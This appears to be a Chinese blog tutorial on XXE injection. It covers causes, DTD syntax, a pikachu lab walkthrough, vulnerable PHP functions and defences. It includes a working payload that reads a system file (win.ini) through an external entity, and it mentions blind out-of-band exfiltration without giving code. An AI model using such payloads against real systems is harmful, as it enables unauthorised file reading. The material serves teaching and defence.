XXE产生的原因
XXE是XML外部实体注入漏洞,发生在应用程序解析XML输入时,没有禁止外部实体加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、DDOS攻击等危害,简单地说就是用户传入的XML被当成实体执行了。
检测
在HTTP的Request的报文出现以下请求报文表明是用XML传输的
Content-type:text/xml application/xml
DTD
DTD(文档类型定义)存在XXE的地方, 可以被声明在XML的文档中,也可以作为一个外部的引用。
<!DOCTYPE 根元素 [定义内容]> 内部DTD文档
<!DOCTYPE 根元素 [SYSTEM] "DTD文件路径">外部DTD文档
<!DOCTYPE 根元素 [SYSTEM] "DTD文件路径"[定义内容]内外结合DTD文档
内部实体几乎不会用到,这里就不做演示了
外部实体
<!ENTITY 实体 SYSTEM "URL">
<?XML version="1.0"?>
<!DOCTYPE din [
<!ENTITY root SYSTEM "edn.xml">
]>
<din>&root;</bin>
实战
靶场:pikachu
有回显
先测试一下是否有xxe漏洞
bp抓包
可以看到传输方式为xml存在xxe漏洞
构造payload语句
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "ESHLkangi">
]>
<name>&hacker;</name>
有回显
修改xml语句
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///c:/windows/win.ini">
]>
<x>&f;</x>
无回显
无回显又称为blind xxe,可以使用带外数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求的方式发送到接受数据的服务器(因为这一块比较难,对于我来说,看了几篇文章还是没能理解,抱歉了师傅们,无回显这一块暂时先不更新了,精进了在补一篇,哪位佬也可以分享下,不胜感激)
导致xxe漏洞的关键函数
simplexml_import_dom
该函数可以把DOM节点转化为simplexmlelement对象
libxml_disable_entity_loader(false)
这个函数的意思是允许php加载外部实体,这也是xxe漏洞产生的原因,在现实的生产环境中把false改为true
loadxml
该函数可以把输入的字符串转化为DOMDocument对象
XXE漏洞的修复与防御
配置xml处理器使用静态DTD,不允许XML中含有任何自己声明的DTD,设置相应的属性值为false
1.使用开发语言禁用外部实体
2.过滤用户提交的敏感数据